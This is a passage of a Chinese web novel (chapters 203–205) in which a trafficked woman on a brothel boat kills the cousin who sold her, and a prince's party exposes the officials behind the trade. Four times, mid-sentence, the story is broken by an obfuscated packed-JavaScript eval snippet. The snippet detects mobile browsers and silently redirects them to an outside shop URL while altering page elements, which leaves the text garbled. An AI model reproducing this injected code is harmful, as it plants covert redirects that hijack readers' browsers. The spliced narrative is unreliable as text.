只有钱丛,根本不在意这边的人说了些什么。她两眼发直的躺在虞初怀里一动不动,像是被抽干了魂魄的傀儡。她整个人仿佛已经是完全听不进去旁的事情,就是生死在她眼里,亦是最不值一提的事情。李四海眼看着这条船上突然出现了这么多熟面孔,且不论是人是鬼,就这自以为缜密的选人机制也让他突然无地自容。 “你看看你,你这都从哪里弄过来的祖宗神仙!”李四海嫌弃的踢了一脚曹娘,这辈子的无奈加无语此刻全刻在脸上。 “这……这……”曹娘本想辩解是因为最近几次因为要的姑娘多了,自然不能像以前一样检查的更加仔细,难免会被有心之人专了空子。可是她也清楚李四海的为人,那是一句都不愿听他多言的。李四海一向只看结果,过程如何艰难,他概不管不顾。她为难的看了眼裘郎中,见裘郎中也不吭声,也只好将话憋在肚子里。 “这什么这……这又是怎么回事?” 李四海指着躺在血泊中的男子,脖颈间的刀口还在出血。他的手捂在自己脖上,脸色惨白唇色全无,整个人都在抽搐。曹娘转头看了看毫无表情的钱丛,欲言又止。 刘渡没什么兴致,倒是旁边的万尘安上前拉着极风娘子往旁边来了来小声打听起来。 “这……怎么回事啊,多大的恩怨,直击要害一刀毙命啊!” 极风娘子看了眼刘渡,见他默认,就跟着万尘安站在旁边说起了刚刚发生的事情。曹娘不敢说话,李四海只好也竖着耳朵听极风娘子说话。可是极风娘子大概是怕钱丛听见又受刺激,就拉着万尘安又往旁边多走了几步尽量压低了声音。李四海听不清楚,只好死皮赖脸的也跟着移了几步。 “曹娘带着我们来到后厨,后来我们才知道,这个后厨里面的暗道还通往别处,就是这里。这里是西院。是服侍一些要客的。我们几个被带到这里,我本想见机行事,谁曾想意想不到的事情那是一件接着一件。钱丛她本来就胆小,听到要服侍人这样的事情自然觉得天塌下来了。可是尽管这样,她还是畏畏缩缩的跟在我身后,因为我出来之前就让她尽力跟着,到时候定是不会让她出事的。她胆小但也听话,尽管内心抗拒,刚开始也都好好的。” “那不是挺好,是这人强行逼她做事,惹急了眼?”万尘安看了看躺在地上的男子,“这男子也不像是连一个手无缚鸡之力的女子都斗不过的啊!” “本来一切都正常,可是这个裘郎中,就那个……”极风娘子瞥眼看了一下那个长得有些猥琐的中年男子,“起因就是因为他看上了钱丛。” 万尘安皱眉打量着那个裘郎中,长得虽算不上肥头大耳,可就这幅普通的有些潦草的皮囊,那个娇柔女子不愿也确实是情有可原的。 “李四海,你瞧瞧你做的这些勾当,逼良为娼的钱拿着你不心虚吗?”万尘安一把将李四海拉到了自己跟前,“你既好奇想听,就站着好好听听,你这些手下都干了些什么事情。” 李四海故作镇定的清了清嗓子:“手段确实不够光明磊落,可是来钱快啊。你以前也没少去这些地方不是吗?还有你,你以前的会香阁性质跟这个不也差不多!” “放屁,我那会香阁一向卖艺不卖身。你这船能跟我比!你这里是全不把人当人,还好意思提我的会香阁!” 万尘安憋笑的拍了拍李四海:“确实性质不同,我可以作证!” “你作证,哼,你们本就是一丘之貉。这会香阁怕是也是三王爷的吧!” 万尘安立马做了个暂停的手势:“讲这事呢,又扯远了!” “你以为这是我做的吗,这事要不是陈相许可执行,能成吗。你们不要以为我如今是为了脱身才说这话,这行来钱快,也没有什么成本。两国交界处又界限模糊,即使有漏网之鱼报到官官府,都用不着上面有动作,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583708|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们地方上的官员就能一一摆平。这等既省心又省力的买卖,换你你不做吗?” “我不做!”万尘安鄙视的看了眼李四海,“早知你没有这个能耐!”万尘安小声吐槽了一句,李四海立马急了。 “你这又是什么意思,你在骂老夫!” “听不听!”极风娘子看了眼钱丛,她嘴上不说,眼底满是心疼。旁边的两个人见极风娘子脸拉下来了立马就闭了嘴,站的乖乖的听极风娘子继续讲述着刚刚的话题。 “本来我也没有注意到钱丛的异常,还是虞初发现的,她一直看着这个男子。后来裘郎中见钱丛不肯,本想让曹娘强行带走。谁知钱丛突然淡定的站出来说要跟这男子单独说两句话…… ———— 半个时辰之前…… “你认识?”曹娘看着钱丛,她不耐烦的催促着,“算了,那你快点,裘大人看上你是你的福气!” 钱丛恭敬的朝着曹娘点了头然后走到那个男子跟前,两眼红润的盯看着他。在这样明晃晃的注视之下男子明显不自在了起来,他吞吐的看着钱丛,几次三番都没有说全一句话。 “钱……钱……” 最后还是钱丛先开口的。 “表哥……” 正好赶到这里的虞初也听见了钱丛的话。她和极风娘子包括易桦都惊讶的张大了嘴巴看着钱丛,然后又看了那个男人,没有人敢说话。 “才月余未见,表哥就记不得钱丛了?”钱丛空洞的眼睛挤出一丝干巴巴的笑容。她平静且从容的又往男子跟前走了几步,倒是男子越来越站不住,心虚的一直往后退着。 “表……表妹……”男子苦涩的看着眼前这个像瓷娃娃一般的钱丛,“裘大人看上你确实是你的福气,你……你……不要……” “不要什么?”钱丛凑近男子眼前,二人的距离只有一拳之隔,“不要拒绝?” 男子沉默低头,他实在是不敢再多看一眼这双清澈如晨露般的眼睛。他伸出右手将钱丛往后面推了推:“姑娘,你我该说的都已说的差不多了,姑娘还是跟曹娘走吧。” 钱丛在被他推开的时候终究还是忍不住哽咽道:“为何是你?” 男子沉默不语。 极风娘子见过不少情场失意的女子,怕钱丛会做出傻事,上前拉了拉钱丛:“不要怕,你站在我身后,那个曹娘不会把你怎么样的。” 钱丛依旧愣在原地直勾勾的盯着那个满脸愧色的男子一声不吭,就是极风娘子拉她她也不肯离开。她的身子僵直,像个木头人一样定住在那里。 “钱丛……”极风娘子还是想拉她走,可是钱丛不肯理睬,还将她的手给毅然决然的甩掉了。 “为何!是你!” 钱丛极力压抑着自己的情绪,弱小的身子在原地晃荡,好像下一秒就要支撑不住应地而倒。虞初也不放心,上前扶住钱丛。 203. 第 203 章 “你听话,跟着贝贝。” 钱丛还是盯着男子,两手从虞初的手中抽了出来:“珍珠,我马上就去!” 虞初看了眼极风娘子,见她点头,就又往回退了两步。她知道刘渡和万尘安也在船上,就没想过再继续装下去的打算。到时候要是钱丛出事直接就撕破脸对阵也不是下策。 男子盯着钱丛,他的手在一直悬摆在半空中,好像潜意识下回觉得钱丛会想不开。裘郎中如今看上了钱丛,若是因为自己了断在此处,怕是很难交代清楚了。 “表妹,表妹,你听我说。” 钱丛的发丝拂过她的鼻尖,桃花般的眼睛里像是浸满了红丝。她冷冷的看着眼前这个男子,勉强笑着。 “我听,你说……” 曹娘尴尬的看了看裘郎中,本想上前阻止二人再过多交涉。可见裘郎中摇头也就作罢。钱丛虽看着可怜,可是上这船上的姑娘就没有一个是幸运的,而众多的不幸中又是各有各的悲戚。曹娘也早已经习惯,这等人间疾苦在她眼里,包括这个裘郎中眼中,都是会过去的。 裘郎中摇了摇头让曹娘不用插手,曹娘听话的站在原地,一脸淡定的看着钱丛。期间还不经意的叹了口气,连曹娘本人都没有意识到自己的这个小动作。 “姨妈运气好,嫁给了吴中的钱家。生了你,亦是从小锦衣玉食,琴棋书画一概通晓。我娘呢,嫁给了我爹那个整日只知道喝酒赌钱的纨绔。即便原本家中也是有些库存的,终究抵不过他日日胡作非为,没几年就败落了全部家产。你和姨妈身在福中哪里会知道我和我娘这几年的苦楚,每年我跟着我娘去你家做客,回来家中她都要闭门伤心好几日。同为女子,怎么差别就这么大。这就样一来二去,没两年她就离开了人世。从此我们家只剩我一个人。” 虞初听到此处算是明白了,又是一个无忧无虑的富家小姐和自卑无用的穷表哥的故事。她没好脸色的看了看那个一表人才的表哥:“空长一副好皮囊,真是越看越觉得不是个东西!” 虞初心里嘀咕着,正好瞥到了旁边长相一言难尽的裘郎中,顺带着也白了他一眼。 “表妹你很可爱,天真单纯。起初我很期待去钱府只是因为每次从钱府回来都不会两手空空,并且会吃到一年到头都尝不到的美味。后来,我的期待变了,变成了可以见到表妹。” 钱丛的泪水再也压抑不住,她无声无息的听着眼前这个男人讲述着对自己的情深义重,脸上早已布满泪珠。 “后来我们长大了,你我都到了谈婚论嫁的年纪。姨夫看出了我的心思,怕生难堪之事就再也不让我去钱府了。后来姨父说有一门好亲事找上了门,我终于等不及了。我向你表明了心意,不过幸运的是,我听到了跟我心意一样的答案。” 虞初听到这再也忍不住了,都到了这时候了,这男人还在这讲述自己的情路坎坷,情深义重。 “接下来是不是又要说你的迫不得已了!” 男子看了一眼虞初,没有接话。他上前想要帮钱丛擦干脸上的泪水,钱丛立刻侧身让掉了。男子无奈,又拽紧拳头隐忍的收了手。 “我好不容易鼓足勇气去找姨夫表明了我的心意,可是他不仅没有答应,还出口羞辱我。说我根本没有能力让你继续过这样无忧无虑的生活。他作为父亲,连你的心意都不顾,他也有什么资格谈你的幸福。我暗自发誓,一定要混出个人样来,光明正大的将你娶回家。” 男子说到此处突然泄了气,刚刚昂扬的语气也变得消极:“可是事与愿违,我借了钱庄的银子做了买卖。不但大亏,就连利息都还不上了。无奈之下,我只能去求助姨父。可是他不但不帮我忙,还依旧出言羞辱我。说他这辈子都不可能将你嫁给我。” “所以你跟我在一起只是为了报复我父亲?”钱丛用劲全身力气艰难的问出了这句话。 “不是我,我对你是有真感情的,你相信我,表妹。我只是……我只是因为实在拿不出钱了,才……”男子上前一步想要握住钱丛的手,“我还不出钱,他们真的会打死我的。你真的不知道,我被他们打成了什么样子,有一次就真的剩最后一口气了。后来,他们说实在还不出钱,给他们一些别的东西也可以。我一时间哪里去找姑娘,只有你了。所以我就将你从钱府带出来了。后面的事情你应该都猜到了。不过表妹你放心,等我钱够了我就会把你赎出来的,真的,你信我。到时候我们就去一个无人认识的地方过日子。” “出来后你没有联系我父亲吗?” 男子低头沉默片刻:“有,我本想让姨父给我一笔钱,可是他没有答应。如果他当时能答应,我也不会走投无路做这些了。” “你用我要挟我父亲?” 男子慌张辩解道:“怎么会是要挟呢,我真的是想跟他商量的。” 钱丛听到这话是嘴角禁不住微微动了一下,她原本悲恸的眼神也变得有些漠然。 “我就知道表哥肯定是有难言之隐才会出此下策,表哥你放心,我不怪你。” 钱丛的话如晴天里的霹雳一般,让虞初和易桦僵化在原地。只有极风娘子还算正常,大概是见过太多痴情女子,也就不觉得惊讶了。 男子听到钱丛没有怪罪自己,惊喜的笑了笑。他转头看了看裘郎中小声劝道:“表妹,裘郎中有权有势,你跟了他以后日子自然会好过很多,也不用再出去陪别的客人了。” 钱丛看着眼前这个既熟悉又陌生的表哥,一脸释然道:“既是如此,钱丛就此别过表哥。表哥以后若是有了银子,记得过来赎我,一言为定。” “一言为定!”男子连忙点头,生怕说晚一秒,钱丛就感受不到自己的真诚。 虞初气愤的想要上前骂醒钱丛,极风娘子立马从身后抓住了她的胳膊:“情感上的事情不是你能插手的,你觉得你现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603266|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说再多她能听得进去吗?” 虞初虽然疑惑刘极风娘子何时来到自己身后的,可是当下她实在是太着急了,也顾不上问这些碎事。一边焦急的想要挣脱极风娘子的手一边恶狠狠的瞪着那个不要脸的表哥。 “松手!” 且别说虞初是看不下去的,就是一直不吭声的易桦此刻也暴躁的叫嚷了起来:“钱丛,你醒醒。这个男人有什么好的,你是被猪油蒙了心吗,这种人你还自己替他找理由,我看不起你……” 可至始至终,钱丛都没有理她。还是一意孤行的往男子跟前走了过去。 极风娘子突然看到了钱丛袖口处反射出一点光凉,警惕的她立马注意到了钱丛袖子里的匕首。她生怕钱丛会做傻事,就不声不响的往钱丛那边走了过去。 “表哥,我还是想最后抱你一次,最后一次,就此别过!” 男子顾虑的看了看裘郎中,见他无所谓就点了点头,伸开双手拥住了钱丛。 “你放心,以后我一定会好好的活下去的。你也要好好的,到了阴曹地府的时候,记得不要喝孟婆汤。记得你做的这些腌臜事,坎坷人生,所愿皆不可得。带着你那脏透了的心脏,一世又一世,不得好死!” 男子刚以为自己听错了话想要推开钱丛时,就被钱丛拿着一把匕首直接划过了喉咙。 “你……”只来得及吐出一个字,后面的话便被喉咙里瞬间涌上来的鲜血给淹没在脖间。 极风娘子看了眼虞初耸了耸肩,然后往后退了几步。 钱丛不甘心,一刀不够还上去补了一刀,还在原来的伤口! 裘郎中不禁打了个冷颤,也往后退了几步。曹娘紧皱眉头看了看满手鲜血的钱丛小声嘀咕不敢上前。 “腿兔子急了也是要咬人的,阿弥陀佛!” 此刻的钱丛像疯了一般,两眼通红,眼白之处布满血丝。她嘴里不停的自言自语着,手上的匕首一直没有放下。 “不如让我看看你的心到底是鲜红的,还是黑透了的!”钱丛说着跪在蜷缩着身子的表哥旁边,两手紧握着匕首,悬在半空中就要往下。 虞初见钱丛已经红了眼,立马上前从后面抱住了钱丛,将她往后面拖了一段距离。极风娘子也怕钱丛手上的匕首会误伤到虞初,上前一把夺下。 “放开我,珍珠,你放开我!” 易桦见虞初一个人按不住钱丛,也上去一起按着她。往日里如小鸡般娇柔细语的钱丛,此刻身子里犹如住了七八个大力男人一般。几次三番都挣脱开了她们二人的束缚。她不停的想要挣脱虞初,起身继续往表哥那边爬过去。她看着地上的血愈来愈多,脸上的表情也变得更加兴奋起来。 “珍珠你看,那是我表哥最喜欢的红色。他说我穿红衣服是最好看的,你说他喜欢不喜欢我送给他的礼物?” 易桦愣了愣,还来不及多想,钱丛又挣扎起来。 204. 第 204 章 “钱丛,裘郎中不会再让你去服侍他了,你不用害怕,你冷静一些。”曹娘本想帮忙安定钱丛的情绪,谁知钱丛听着这话愈发变得狂躁起来。 “服侍,他是什么狗东西要本小姐去服侍他。你也不是什么好东西,夜里看看你的手,是不是都是红色的。你们有一个算一个,这辈子都跟着他一起下地狱吧。哈哈哈哈……” 曹娘背后发凉的抖了一下,她用余光看了眼自己的手,然后扔下一句:“疯子”就不再管她。 “易桦,你去拿个水杯过来!” 慌乱之下虞初一边按住钱丛一边惊诧的看了眼刚进来的李四海。她看了眼旁边的刘渡和万尘安,知道这所谓的“大人”应该就是眼前这个老头。顾不上细想,易桦已经端过来一碗水过来了。 虞初一手扣住发疯的钱丛,一手不停的在腰间摸索。过了好一会她才艰难的掏出来一瓶小罐子递给了易桦:“你倒出来一颗放在水里化开,然后我们俩人一起给她灌下去就好了。” 易桦动作很利索,见药丸化的慢,直接就伸出手指在碗里搅和起来。很快,这药丸就融在水里。易桦给了虞初一个眼神,可是虞初一直也按不住她乱动的胳膊。极风娘子见状也过来帮助稳住钱丛的头,易桦趁机给她灌了下去,这才完事。尽管过程中挣扎的时候流出来不少,但这药效似乎一点没打折扣,很快钱丛就安静下来,连话都不说了。 “珍珠,这会不会有事?”易桦担心的问着,顺手拿了极风娘子递过来的手帕给钱丛擦着脖子上残留的药。钱丛脖间突起的青筋上下起伏,久久没能平静。 —————— 万尘安听到这里,忍不住多看了两眼伏在虞初怀中的那个女子。额前湿乎乎的刘海上不知是汗是泪,右手的无名指一直流着血,再仔细一看,是指甲从甲床处直接断裂开了。不过她脸上很是平静,眼神不知看什么,空洞的很。他又看了看地上的那个男子,已经不似刚刚进来时抖动的厉害了,身子也不再有了起伏。 极风娘子嫌弃的看了眼那个男子:“我去看过了,伤口太深,就是华陀转世也束手无策。” 万尘安庆幸的点了点头,然后看了看站在旁边目瞪口呆的李四海:“李大人,我就说女人是最不好惹的。现在你看看,出事了吧。” “这女子看起来柔柔弱弱的没想到功夫这么好。” 极风娘子打断李四海的感慨:“李大人,这你就错了,她还真的是一直手无缚鸡之力的小白兔。” “那……这……这……这……”李四海转过来看着裘郎中,“色字头上一把刀,我早就说你们自己要洁身自好,你还自己在这里先选起了妃!” 裘郎中心虚的朝着李四海下跪认错道:“大人,就算不是我,遇上别的男子她亦会如此。如此刚烈的女子我们船上也不是没有过!” 李四海听到这里立马脸色大变:“什么刚烈的女子,你不是说都是她们自愿的吗!” “对,对对。这船上基本上都是自愿过来的。就是有不是自愿过来的也是家里人狠心卖进来的。” 虞初看了眼易桦,然后朝着极风娘子使了个眼色。易桦在听他们说话时也注意到了虞初担心的表情。她一脸无所谓的苦笑着:“你不用怕我难过,我早就想通了。再说现在你们都在,我觉得我马上就会解放了,用不着继续被困在这船上了。” 虞初朝着易桦会心一笑,脸上的慌张才稍微平缓下来。 极风娘子见易桦那边无碍,转头继续看着李四海。见他还是一脸不知悔改立马火气上头起来。 “据我所知李大人也是有女儿的人,为人夫为人父是怎么做出来这等禽兽不如的事情的?” 李四海怒眼瞪着极风娘子,转而就突然脸色松弛下来:“极风娘子用不着如此义愤填膺的质问我,这世间的不公,无人能置身事外。你不要以为那些百姓个个善良淳朴,若是有利益纠葛,怕是比你我都还要狠心一些,人心不古啊,岂是我能左右。再说,有些女子就是没办法跟我的女儿比。她们的不幸也多来自环境,来自父母,来自她们自身的愚蠢。难道是我卖她们的吗,就这个女子,自己笨,被表哥骗了,怪的上我吗?” “强词夺理,那些不是被人买过来的呢,我和王妃就是路上被人劫过来的,你休要狡辩!” 李四海不屑的冷笑:“这样的船到处都是,你们能一网打尽吗,不能吧!”李四海转过身子看着刘渡,“不要把自己放在一个救世主的位置上,多清高,多磊落。你刘渡不也是利用陈羽轻才苟活道今天的吗?” 万尘安战术性的往后退了两步,挑过头去瞥了一眼虞初,然后才又重新将视线转移到刘渡身上。 “曹娘是吧,你能分辨出如今是什么局势吗?”刘渡并不理会李四海,而是转身走到曹娘跟前语气温柔的跟她说话。 “额……王爷……我们大人……”曹娘注意了一下刘渡的表情,很明显刚刚还很随和的脸上多了几分警告。直到她重新改了口才又恢复了刚刚的表情。 “王爷想问什么?”曹娘说完这话立马偷看了一眼李四海。他刚转过来瞪着她,曹娘又立马回过去眼神不再看他,气的李四海把气都憋在了胸口,气呼呼的“哼”了一声。 “如今就连你们大人都自身难保,至于你们这些小鱼小虾会被怎么处置,还要看你们自己怎么想,怎么做。”刘渡知道曹娘心里还存有一丝侥幸,直接就将话挑明了。“你们的账本在哪里?” 曹娘哪里敢回账本的事情,就连眼色都不敢随便做一个。她沉默不语,脸上的表情前所未有的惊恐为难。刘渡也不奇怪,只是往曹娘的跟前又凑了凑小声说道:“你是觉得说也是死,不说也是死?” 曹娘依旧不言语,直到听见刘渡说到那句“你儿子已经被我的人带出来了,你不需要有后顾之忧。至于生死,你都在这船上这么久了,你想过会活着下船吗?”曹娘一下子就崩溃哽咽住了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612139|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “王爷此话当真?” “当真,就在岸上,你不信可以出去看看。” 曹娘立马转身跑了出去,过了一刻,刘渡他们才又看见她妆容全花的进来了。 “账本都在裘郎中手上!” 出去一趟后,曹娘连掩饰都不做了,直接走到刘渡身边就说了出来。裘郎中皱了皱眉头看了看脸色煞白的李四海,立马就准备逃跑出去。好在万尘安料到了他会逃走,早就站在门口那边堵住了出口。 “让开!”裘郎中掏出腰间的配剑直冲万尘安的胸口。万尘安一手展开折扇,一边往后退了几步。要说这裘郎中确实是有些功夫在身上的,好几次都挑破了万尘安的衣裳,好在万尘安反应快速,没能让他得逞刺中。就这样打了好一会,万尘安实在没了耐心,一把扔出了折扇,扇子上的利刃刀片从裘郎中的右脸颊过去,一道平整的切口就留在了裘郎中的脸上。他怒火中烧,恶狠狠的瞪大眼睛又举起剑趁万尘安接回扇子的时候划伤了他的胳膊。极风娘子见万尘安受了伤想上前帮忙,刘渡摇了摇头笑道:“你让他脸往哪里搁?” 极风娘子浅笑着点了点头又退下了。万尘安在意识到眼前这个裘郎中不是什么绣花枕头时,立马认真起来。他一脚接着一脚的踢在裘郎中的胸口,最后趁着他失重时直接用折扇抵住了他的喉结处。 “挺能打啊!”万尘安看了看胳膊上还在流着的血叹了口气,“刚好没多久,真的是!” “要杀就杀,我可不知道什么账本!”裘郎中毅然决然的闭上眼睛,做好了随时被万尘安割喉的准备。 “还是条衷心的狗,就这船上的事情本就够你死上一百次了。死在你手上的香魂怕是不少,不着急,我们慢慢算。你不用这么着急去见阎王爷,后面我自然会满足你的。” 李四海惊讶的看着万尘安,叽叽呜呜的半日才不敢相信道:“你……你竟然会武功,还这么好!” 万尘安朝着李四海点头笑道:“李大人谬赞,不过是小时候跟父亲学了些皮毛。” “你们一个个都挺会装,一个闲散王爷,一个纨绔公子。看着不谙世事,暗地里干了这么多勾当!” “注意用词,我们两个做的叫事情,你干的这些才叫勾当!” 一件又一件意想不到的事情早就让李四海身心俱疲。他一手扶住脑袋一手朝着万尘安摇手制止道:“罢了罢了,败者为寇,既然落在你们手上,老夫也无话可说。” 刘渡一步上前拦住李四海:“李大人,这是往哪里去?” 李四海眼睛睁得滚圆:“能去哪里,难不成找机会跳江了结自己吗?” “不至于不至于,李大人你如此精明,想必是不会这么想不开。” 李四海看了眼裘郎中,然后转过头来也不说话。 突然,裘郎中突然伸手往空中抛了一手的白药粉。虞初警惕的闻到味道时就立马大喊起来:“捂住口鼻,快,是蚀心散!” 205. 第 205 章 话音刚落,众人都连忙捂住自己口鼻,待万尘安再看之时,发现裘郎中已经不在跟前了。 “裘郎中不见了!”万尘安依旧捂住口鼻往里面走去,接连着极风娘子也发现了李四海也不见了。虞初拿出手帕将钱丛的口鼻捂住并在脑袋后面打了个结不让手帕掉下来,然后立马跑到了曹娘身边。 “曹娘,你……” 众人听见虞初的喊声立马上前凑到了虞初周围,就连刚刚还很淡定的刘渡也紧张的跑了过去。刘渡刚过去想要拉起蹲在地上的虞初,发现曹娘躺在地上,腰间不停的有鲜血流出。虞初两手扒着曹娘的身子想要将她翻过身来,可是曹娘不肯配合,只能看到匕首把柄露在衣服外面。 “刘渡,你来帮我把她转过身来,我看看伤势。” 刘渡听话的蹲下身子,一手扶在肩膀处,一手扶在腰间。一用力就将曹娘整个人给翻了过去。 虞初立马上前查看曹娘的伤口,这匕首正是刚刚钱丛拿在手里的那把,整个匕首全部插在曹娘的身子里面。她掏出药瓶,在曹娘的伤口处撒了一层药粉,正要动手准备拔匕首时,曹娘反手握住了虞初的手腕。 “不用麻烦了,我中了蚀心散,与其会万虫噬心而亡,不如这样来的痛快!” 曹娘嘴边留着几滴黑血,虞初伸手用手帕揩下血迹放在眼前仔细看了看。 “这毒不是刚刚中的,你这毒在体内已经很久了?”虞初不可置信的看着曹娘,“这蚀心散就算是每日服用解药那也避免不了万虫噬心之痛。只是时间不会很久而已。” 曹娘苦笑:“没想到王妃还是懂毒之人。没错,这蚀心散在我体内已经两年了。说来可笑,这蚀心散还是我替裘郎中找到的。他说想找到一个可以牵制姑娘们的毒药,我就去照做了。没想到我将毒药给他后,他第一个就是给我下的毒。真是自作孽不可活,可怜之人必有可恨之处。” “那我们怎么没有……”易桦看似在问曹娘,其实更多的是想要确认自己有没有中这个蚀心散。 “蚀心散不多得,一般都是给那些难控制的姑娘用的。你们刚过来,目前还不需要用这个。”曹娘说着说着突然意外的发现至始至终虞初都没有捂住过口鼻,她好像并不害怕被人下毒。 “为何只有你没事?” 虞初看了眼周围的人,都还继续捂住自己的口鼻。就连刚刚刘渡给曹娘翻身时,也是屏住呼吸去做的,做完立马又捂住自己的口鼻以免中招。 “这个就说来话长了,都是不幸中的万幸。” 曹娘见虞初不肯说也就不再多问。刘渡扭头一直盯着虞初,眼神里藏了千言万语,最终无一字吐露。 很快,腰间的鲜血也变得乌黑,虞初松下了那把匕首的刀柄,她知道这毒性早已入骨,已经无药可救了。她摇着昏昏欲睡的曹娘,眼神很是急切:“你还知道什么,账本的事情当真没有办法了?” 在易桦看来,如此追问一个濒临死亡的人,哪怕她平日里坏事做尽,还是有些于心不忍。她缓缓伸手拍了拍虞初的肩膀:“她好像不行了,你就让她好好去吧。” 虞初并不理会,还是一直摇着曹娘,想要从她口中知道一丝线索。 “琉璃……琉璃……” 曹娘在咽下最后一口气之前,用尽全身力气说出了这两个字。易桦一头雾水的问道:“琉璃,她说的是琉璃,琉璃江?” 虞初半坐在曹娘的身边沉默不语,突然想起了什么,立马起身往外跑去。易桦还没反应过来,极风娘子就上前喊住易桦:“你照顾好钱丛,不要丢下她一个人。” 极风娘子还在照应易桦的同时,刘渡已经跟着虞初一起跑了出去。万尘安走到船边,看了看岸边的士兵。见他们没有动静立马回头找到极风娘子:“他们就在船上,赶紧去通知肖成去找人!” 瞬间,整个屋里就只剩下易桦和早已经昏过去的钱丛。她将钱丛扛在肩上带出了屋子,这才揪掉脸上的手帕:“终于出来了,不用害怕那个什么散了!”易桦说话间还将钱丛脸上的手帕一并解开,她只休息了一会,又将钱丛扛到了一个有床的屋子,将她安顿好才大大的松了口气。 “珍珠……哦,不是,是王妃。她一惊一乍的不知道干什么去了,钱丛你快醒醒吧,今天发生的事情实在是太多了,你不想听吗?” 易桦对着钱丛自言自语,一直守在她的床边,连肚子饿的咕噜噜响也没敢离开去找食物。 “你要去哪里,你慢一点虞初!”刘渡箭步拉住虞初的胳膊不再让她往前走。 “刚刚曹娘说的琉璃,我可能知道是什么。你跟我过来,我不想让人先一步拿到。” 刘渡这才明白了虞初的动机,松开手跟着她往东院去了。 “这是曹娘的房间?”刘渡是第一次来到曹娘的房间,这间屋子跟旁的姑娘的屋子不一样,明显奢靡许多。刘渡走在里面环视了一圈,虞初立马朝着曹娘床边的跑去。刚想伸手,一个人影从床底窜了出来,吓得虞初连连往后踉跄了好几步。 好在刘渡时刻注意着虞初,在人影刚出来时立马就挡在虞初前面,跟那人影面对面的打了起来。 “裘郎中……”虞初看到那人面目后往后让出来好大一个空地。万尘安的武功她是知道的,连他都被这个裘郎中伤了,想必此人武功不差。为了避免自己成为他牵制刘渡的人质,还是先护住自己的安全最重要。 虞初将手缩到衣袖里,然后往墙角退过去。墙角旁边就是曹娘的木衣柜,柜子很大,里面还放了个大箱子。虞初轻步走到箱子旁边,然后整个人往后一跃,跳坐在木箱子上。 “你说这曹娘好好的衣柜为何连柜门都不关,是忘了还是被别人打开的?”虞初自言自语,然后两脚悬挂在木箱子上朝着木箱“咚咚咚”敲了几脚。 自然没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617067|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何回应,虞初也不起身查探,依旧悠哉悠哉的坐在木箱上看着裘郎中和刘渡在那边你来我去的打得不可开交。不知是不是万尘安先前受过伤的原因,在虞初看来,这个裘郎中怎么好像不是刘渡的对手。接连几次都被刘渡打得没有还手之力。 “咚咚咚”,虞初一边晃着脚在木箱上敲出动静,一边坐在那边喊道:“裘郎中不行了啊,我们王爷本就不善武力,你怎么连他都打不过!” 本来裘郎中还在集中精力跟刘渡对阵,听见虞初的声音后就往她那边看了一眼,然后一走神,慢了一招,直接就被刘渡旋踢在地上。刘渡趁势又用脚勾来一个长凳压在裘郎中的身上,然后一脚踩在凳子上。 “动作真快,你跟曹娘到底是什么关系。若是账本在你身上,那你为何还要来曹娘的屋子,难道还有什么重要的东西在曹娘手上?” 裘郎中一脸死寂的躺在地上,任由刘渡如何猜问,他亦无动于衷。 “还是说,你们有什么见不得人的把柄在曹娘手上,临走前还不忘冒险过来取走?” 依旧没有回应。 虞初见状,用脚重重的踢了踢木箱子:“李大人,再不出来,里面的蚂蚁可就越来越多了!” 果然不出所料,虞初屁股下面的木箱“轰隆轰隆”的有人用拳头敲击着箱盖。 虞初只当听不见,不肯起身。 “放我出去……” “那你要告诉我,刘渡是如何利用陈羽轻苟且至今的。他们到底是什么不清不楚的关系?” 刘渡一脸无语的看向虞初这个方向,刚想过去,凳子下面动了一下,他无奈又重新将重心回到了长凳上面。 “你给我安分一些,不然我失了力道,凳腿穿胸也不是没有可能的。” 裘郎中转头看着那个木箱,果然外面有一排密密麻麻黑色的东西在移动着。结合刚刚虞初的话,应该是蚂蚁没错了。 